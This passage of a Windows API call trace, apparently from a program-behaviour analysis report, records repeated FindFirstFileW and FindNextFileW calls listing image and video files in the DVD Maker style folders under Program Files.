cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0053.240] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0053.241] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0053.241] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0053.241] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0053.241] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0053.241] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0053.241] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0053.241] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0053.242] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0053.242] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0053.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0053.382] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.382] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0053.382] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0053.383] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0053.383] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0053.384] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.384] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0053.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593220 [0053.395] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.395] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0053.395] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0053.395] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0053.395] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0053.395] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.396] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.396] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.396] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, 